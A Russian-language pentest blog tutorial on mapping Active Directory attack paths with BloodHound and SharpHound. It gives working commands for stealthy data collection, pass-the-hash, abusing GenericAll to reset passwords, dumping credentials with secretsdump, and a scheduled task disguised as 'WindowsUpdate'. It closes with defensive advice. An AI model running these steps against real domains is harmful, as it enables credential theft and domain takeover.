Кровавая охота: Active Directory на максималках с BloodHound
Здравствуйте, дорогие друзья!
Active Directory — это сердце корпоративной инфраструктуры, и если ты хочешь по-настоящему понять, где у неё слабые места, то BloodHound — твой лучший друг. Этот инструмент визуализирует отношения в AD как граф, показывая пути к доменным админам так, будто это карта сокровищ.
Что такое BloodHound и почему он рулит
BloodHound — это opensource-инструмент, который собирает данные об объектах Active Directory (пользователи, группы, компьютеры, ACL) и строит граф атак. Он показывает, как можно двигаться от обычного юзера к Domain Admin. Фишка в том, что BloodHound не просто показывает данные — он находит нетривиальные пути, которые админы никогда не увидят вручную.
Основные возможности:
• Визуализация отношений в AD через графы
• Автоматический поиск путей к привилегированным аккаунтам
• Анализ делегирования полномочий и ACL
• Поиск Kerberoastable и AS-REP Roastable аккаунтов
• Обнаружение опасных GPO и групповых политик
Установка и настройка
На Kali Linux:
|
1 2 3 4 5 6 |
# Установка Neo4j (база данных для графов) sudo apt update sudo apt install neo4j bloodhound # Запуск Neo4j sudo neo4j console |
Открой браузер и иди на http://localhost:7474. Дефолтные креды: neo4j:neo4j. Сразу смени пароль.
Запуск BloodHound:
|
1 |
bloodhound --no-sandbox |
Подключись к базе Neo4j с новыми кредами.
Сбор данных: SharpHound в действии
SharpHound — это коллектор данных для BloodHound. Есть версии на Python (bloodhound.py) и C# (SharpHound.exe).
Вариант 1: С машины в домене (SharpHound.exe):
|
1 2 3 4 5 6 7 8 9 10 11 |
# Скачай SharpHound.exe с GitHub # https://github.com/BloodHoundAD/SharpHound # Запусти сбор всех данных .\SharpHound.exe -c All -d domain.local # Только пользователи и группы .\SharpHound.exe -c Group,LocalAdmin,Session,Trusts # Стелс-режим (меньше шума) .\SharpHound.exe -c All --Stealth |
Вариант 2: Удалённо (bloodhound-python):
|
1 2 3 4 5 6 7 8 |
# Установка pip3 install bloodhound # Сбор данных bloodhound-python -u username -p password -d domain.local -dc dc01.domain.local -c All # С NTLM-хешом bloodhound-python -u username --hashes :ntlmhash -d domain.local -dc dc01.domain.local -c All |
После сбора получишь JSON-файлы. Залей их в BloodHound через интерфейс (кнопка Upload).
Охота начинается: Базовые запросы
BloodHound поставляется с готовыми запросами. Вот самые жирные:
- Кратчайший путь к Domain Admins:
• Открой вкладку “Analysis”
• Выбери “Find Shortest Paths to Domain Admins”
• Наслаждайся графом атаки - Kerberoastable аккаунты:
|
1 |
MATCH (u:User {hasspn:true}) RETURN u |
Эти аккаунты можно крякнуть оффлайн через hashcat.
- AS-REP Roastable:
|
1 |
MATCH (u:User {dontreqpreauth:true}) RETURN u |
4. Пользователи с админскими правами на компьютерах:
|
1 |
MATCH p=(u:User)-[r:AdminTo]->(c:Computer) RETURN p |
5. Компьютеры с неограниченным делегированием:
|
1 |
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c |
Продвинутые техники
Поиск путей от конкретного юзера:
Кликни правой кнопкой на пользователя → “Mark User as Owned”. Потом в “Pathfinding”:
• Set starting node: твой скомпрометированный юзер
• Set ending node: Domain Admins
• Find Path
Анализ ACL (кто что может менять):
|
1 2 |
MATCH p=(u:User)-[r:GenericAll|GenericWrite|WriteOwner|WriteDacl]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}) RETURN p |
Это покажет, кто может менять членство в группе Domain Admins.
Поиск путей через GPO:
|
1 |
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU) RETURN p |
Если у тебя есть контроль над GPO, ты можешь пушить команды на все компьютеры в OU.
Практический пример атаки
Допустим, BloodHound показал такой путь:
1. User “bob” → MemberOf → Group “HelpDesk”
2. Group “HelpDesk” → GenericAll → User “admin-backup”
3. User “admin-backup” → AdminTo → Computer “DC01”
Реализация:
|
1 2 3 4 5 6 7 8 9 10 |
# Шаг 1: Скомпрометировали bob (фишинг, брутфорс, etc) # Шаг 2: Сбросить пароль admin-backup (есть GenericAll) net rpc password "admin-backup" "NewPass123!" -U "domain\bob%password" -S dc01.domain.local # Или через PowerView Set-DomainUserPassword -Identity admin-backup -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) # Шаг 3: Использовать admin-backup для захвата DC01 secretsdump.py domain/admin-backup:NewPass123!@dc01.domain.local |
Лайфхаки и фишки
Кастомные запросы Cypher:
Создай файл с часто используемыми запросами. Пример — все пути к админам длиной не более 3 хопов:
|
1 2 3 |
MATCH p=shortestPath((u:User)-[*1..3]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) WHERE u.enabled=true RETURN p |
Фильтрация шума:
Отключи “Owned Objects” и “High Value Targets” в настройках, если граф слишком перегружен.
Экспорт данных:
BloodHound позволяет экспортировать результаты в JSON для дальнейшего анализа или интеграции с другими инструментами.
Автоматический запуск SharpHound:
Настрой scheduled task на скомпрометированной машине для регулярного сбора данных:
|
1 2 |
schtasks /create /tn "WindowsUpdate" /tr "C:\Temp\SharpHound.exe -c All" /sc daily /st 02:00 |
Защита от BloodHound
Раз уж говорим про атаки, вот как защититься:
• Минимизируй права администраторов (принцип наименьших привилегий)
• Убери nested groups и избыточные ACL
• Отключи LLMNR и NBT-NS
• Используй LAPS для локальных админов
• Мониторь подозрительные LDAP-запросы (SharpHound оставляет следы)
• Включи Protected Users группу для критичных аккаунтов
• Аудит делегирования и Kerberos настроек
Заключение
BloodHound — это не просто инструмент, это новый взгляд на пентест AD. Он превращает хаотичные права и группы в понятную карту атаки. Главное — помни, что каждый граф BloodHound — это история о том, как админы накосячили с правами. Используй его мудро, документируй находки и помогай клиентам чинить безопасность.
Полезные ресурсы:
• GitHub BloodHound: github.com/BloodHoundAD/BloodHound
• Cypher Query Database: hausec.com/2019/09/09/bloodhound-cypher-cheatsheet

На этом все. Всем хорошего дня!
